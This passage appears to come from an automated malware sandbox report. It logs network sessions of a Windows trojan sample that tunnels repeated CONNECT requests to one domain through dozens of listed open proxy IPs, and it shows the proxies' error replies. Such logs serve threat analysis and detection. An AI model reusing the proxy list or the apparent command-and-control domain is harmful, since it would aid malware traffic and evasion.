1772	192.168.2.8	55169	162.159.242.62	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.640552044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.727549076 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1773	192.168.2.8	54411	193.30.13.18	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.664393902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.661324978 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1774	192.168.2.8	55058	171.244.10.204	55145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.687467098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.695007086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.195508003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.991890907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1775	192.168.2.8	55089	13.232.245.132	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.702712059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.982780933 CET	531	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 13:28:40 GMT Server: Apache/2.4.52 (Ubuntu) Allow: POST,OPTIONS,HEAD,GET Content-Length: 331 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1776	192.168.2.8	55112	65.21.188.18	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.703011036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.269684076 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:48 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1777	192.168.2.8	55139	37.221.197.165	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.703022003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.288602114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.898617983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.044466972 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Fri, 23 Feb 2024 13:28:48 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1778	192.168.2.8	55140	162.144.36.208	52517	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.718929052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.288660049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.898574114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.065834045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288844109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.531151056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.694940090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.991626024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.491708994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1779	192.168.2.8	55065	115.187.50.99	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.723155975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1780	192.168.2.8	55194	170.245.57.228	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.723442078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1781	192.168.2.8	55193	103.152.112.167	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.726531029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.288602114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.757594109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.695100069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.585855007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.740737915 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.2 Date: Fri, 23 Feb 2024 13:28:44 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1782	192.168.2.8	55192	51.255.20.138	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.740564108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.034019947 CET	828	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:48 GMT Vary: Accept-Encoding Content-Length: 645 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2c 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 61 6e 64 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 61 6e 64 20 61 6e 79 74 68 69 6e 67 20 79 6f 75 20 6d 69 67 68 74 20 68 61 76 65 20 64 6f 6e 65 20 74 68 61 74 20 6d 61 79 20 68 61 76 65 0a 63 61 75 73 65 64 20 74 68 65 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator, [no address given] and inform them of the time the error occurred,and anything you might have done that may havecaused the error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.2.16 (Debian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1783	192.168.2.8	51015	103.132.52.122	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.740566015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.854851961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.898199081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1784	192.168.2.8	55094	175.183.82.221	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.754992962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1785	192.168.2.8	55170	212.31.100.138	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.761791945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1786	192.168.2.8	54202	36.91.45.12	51672	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.767065048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.166373014 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1787	192.168.2.8	55093	81.69.243.126	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.770687103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1788	192.168.2.8	54752	5.44.42.82	10808	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.770771980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1789	192.168.2.8	54923	159.65.245.255	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.801054001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.882489920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.369277000 CET	467	IN	HTTP/1.1 403 Forbidden Date: Fri, 23 Feb 2024 13:28:45 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 306 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1790	192.168.2.8	55215	104.16.106.154	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.827735901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.915554047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1791	192.168.2.8	55125	175.183.82.221	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.837918997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1792	192.168.2.8	55146	106.105.218.244	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.852262974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1793	192.168.2.8	54900	72.37.217.3	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.868242979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1794	192.168.2.8	54914	20.219.118.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.872277021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.991653919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.038391113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1795	192.168.2.8	55223	104.25.115.125	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.885034084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.974201918 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1796	192.168.2.8	55206	59.125.232.28	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
